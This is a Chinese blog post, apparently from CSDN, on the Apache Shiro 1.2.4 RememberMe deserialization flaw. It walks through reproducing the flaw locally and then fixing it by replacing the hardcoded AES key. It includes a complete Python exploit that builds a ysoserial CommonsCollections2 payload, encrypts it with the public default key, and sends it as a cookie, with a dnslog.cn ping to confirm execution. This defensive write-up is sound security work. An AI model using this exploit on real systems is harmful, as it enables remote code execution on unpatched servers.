• Apache Shiro反序列化漏洞研究及解决方法


    前言

    一个阳光明媚的午休,我正惬意的喝着茶听着音乐,享受美好生活的时候,客户的QQ头像闪动了,原以为是出了什么新需求临时需要调整,没想到客户反馈的是平台出现了严重漏洞,不敢小视,抄起电脑开弄

    我根据客户给出的安全厂商反馈的问题,总结如下:

    1,Shiro反序列化漏洞

    2,提到了dnslog.cn平台

    了解Shiro反序列化漏洞

    参考官方的JIRA文档记录,https://issues.apache.org/jira/browse/SHIRO-550

    原因是Shiro的RememberMe出的问题

    官方也给出了问题的描述

    大概的意思就是:Shiro提供了RememberMe的功能,当用户关闭浏览器,下次再打开浏览器访问时,还是能记住我是谁,无需登录即可访问。其实很多网站都有这功能,继续看,Shiro对RememberMe的Cookie做了加密处理,在CookieRememberMeManaer类中将Cookie中RememberMe字段内容分别进行序列化、AES加密、Base64编码等操作,但是默认的加密AES Key是硬编码进去的,都知道这个Key是什么,所以在逆向操作反序列化、Base64解密的时候,攻击者就可以伪造恶意数据通过反序列化远程执行命令,危害很大很大滴。

    dnslog.cn的作用

    经过查询,这个网站是一个用来检测带外流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。简单说,我自己的理解是一个安全人员的工具,收集一些测试过程中DNS查询、NS查询的日志信息,这里我们用来远程执行命令,比如pingXXX.dnslog.cn,然后再去dnslog.cn看看是否是通过服务ping到了他,如果有,证明远程执行了命令

    漏洞模拟利用

    大概知道了漏洞的原因和利用方式,接下来找到shiro的项目进行模拟攻击,攻击的过程大概就是:

    • 启动存在Shiro问题的项目工程,网上有现成的
    • 利用网上写好的Exp工具,漏洞从服务端执行ping命令,ping dnslog地址,看看其是否能收集到信息

    搭建Shiro环境

    下载有问题的Shiro项目,有人已经做好了,是一个dockerimage,https://github.com/Medicean/VulApps/tree/master/s/shiro/1,搭建完docker环境之后,由于需要解决问题,为了方便我把war拷贝到我本地机器,通过Tomcat运行。

    准备测试工具

    网上有很多写的现成的利用工具,基本都是Python的,我的环境是win10,已经有python3环境了,没有的自行安装一下,首先安装第三方库:

    pip install requests

    pip install Crypto

    安装完了Crypto之后也会报错,找不到模块,上网搜了一下发现这个库停更了挺长时间了,改用pycryptodome,

    pip installpycryptodome

    库安装好之后,在晚上找一个EXP工具的代码,代码如下:

    import os
    import re
    import base64
    import uuid
    import subprocess
    import requests
    from Crypto.Cipher import AES
    
    
    
    JAR_FILE = 'ysoserial.jar'
    
    
    def poc(url, rce_command):
        if '://' not in url:
            target = 'https://%s' % url if ':443' in url else 'http://%s' % url
        else:
            target = url
        try:
            payload = generator(rce_command, JAR_FILE)  # 生成payload
            print (payload)
            r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10)  # 发送验证请求
            print (r.text)
        except Exception:
            pass
        return False
    
    
    def generator(command, fp):
        if not os.path.exists(fp):
            raise Exception('jar file not found!')
        popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command],stdout=subprocess.PIPE)
        BS   = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        iv   =  uuid.uuid4().bytes
        encryptor = AES.new(base64.b64decode(key), mode, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    if __name__ == '__main__':
        poc('http://localhost:8080', 'ping d0nenv.dnslog.cn')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    以上代码,需要知道几个问题

    • DESkey的值,这就是上面所说硬编码的值,需要跟Shirojar包里的Key对应好
    • 执行jar命令的参数CommonsCollections2,此时我们Shiro中的Common-Collections的版本是4.0,对应使用CommonsCollections2的参数
    • 还有就是代码最下方,Shiro项目的访问地址,和后面执行的命令,pingdnslog的命令。

    然后打开dnslog.cn,如下操作,点击Get SubDomain,对应写好上面的ping命令,一会要用到。

    然后在VSCode里新建python文件,复制上面的代码,然后把代码里用到的jar包下载下来,重命名放到跟python代码同一级目录中

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -DskipTests
    
    • 1
    • 2
    • 3

    模拟测试

    启动Shiro的工程,访问地址http://localhost:8080,此时代码是有问题的,运行EXP工具测试,刷新dnslog

    如上图,命令已经执行了(有一条查询结果),说明漏洞确实存在的。

    修复漏洞问题

    上述问题,其实只要解决了硬编码的DESKey值就可以了,找了一下网上说的解决办法,总结如下几种:

    1,升级shiro,我这边情况项目比较老,升级依赖导致的问题解决起来比较麻烦,不采用此种方式

    2,修改Key的编码,修改Shiro源代码AbstractRememberMeManager中的Key值,然后替换到jar包里,不公开

    生成新的Key编码,可以用下面的方法:

    import org.apache.shiro.codec.Base64;
    
    import javax.crypto.KeyGenerator;
    import javax.crypto.SecretKey;
    import java.security.NoSuchAlgorithmException;
    
    public class Test {
    	public static void main(String[] args) {
    		KeyGenerator keygen = null;
    		try {
    			keygen = KeyGenerator.getInstance("AES");
    		} catch (NoSuchAlgorithmException e) {
    			e.printStackTrace();
    		}
    		SecretKey deskey = keygen.generateKey();
    		System.out.println(Base64.encodeToString(deskey.getEncoded()));
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    3,生成随机编码,在Shiro配置文件中把SecurityManage加入rememberMeManager的配置,然后调用生成Key值得方法,随机生成,可参考文章(https://blog.csdn.net/weixin_38307489/article/details/104618667)的做法,建议才采用这种。

    我采用的是方法2,这里说一下具体的做法,首先下载Shiro的源代码,根据你用的版本来下载:

    git clone https://github.com/apache/shiro.git
    git checkout shiro-root-1.2.4
    
    • 1
    • 2

    下载后,找到源代码地址在core目录下找到AbstractRememberMeManager,用上面的代码main方法直接生成新的值,修改为新值,如下图

    改完之后,找到Shiro源码的POM文件,执行mvnpackage -DskipTests打包,找到打好的class文件,替换到程序目录下的lib文件中。

    然后启动服务,测试一下,问题解决 ~~

    遇到的问题

    1,Maven buildshirojar包的时候,报了一个toolchain的问题,原因是我的Maven安装目录下,conf/toolchains.xml里没有配置,但是POM文件用到了,根据情况可以修改成:

      
        jdk
        
          1.6
          sun
        
        
          C:\Program Files\Java\jdk1.6.0_45
        
      
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    2,关于Payload的概念

    维基百科释义

    在计算机科学与电信领域,负载(英语:Payload)是数据传输中所欲传输的实际信息,通常也被称作实际数据或者数据体。
    信头与元数据,或称为开销数据,仅用于辅助数据传输。
    在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。
    
    • 1
    • 2
    • 3

    简单说,Payload就是对于接收者有用的数据。

    参考资料:

    https://blog.csdn.net/weixin_38307489/article/details/104618667

    https://paper.seebug.org/shiro-rememberme-1-2-4/

    https://issues.apache.org/jira/browse/SHIRO-550

  • 相关阅读:
    8万字208道Java经典面试题总结(附答案)
    cube-studio 部署过程
    学会nodejs中express框架进行get和post请求,如何获取和增加用户数据?(express的安装以及实战案例讲解)
    MyBatis 批量插入foreach性能问题
    微信登陆报redirect_uri 参数错误
    购买阿里云服务器需要多少钱?活动价2000元-3000元的阿里云服务器汇总
    第一章 初探Swing
    .env.serve文件新增内容获取不到
    JAVASE——局部变量和全局变量
    基于动态规划的0-1背包问题学习
  • 原文地址:https://blog.csdn.net/segegefe/article/details/126636436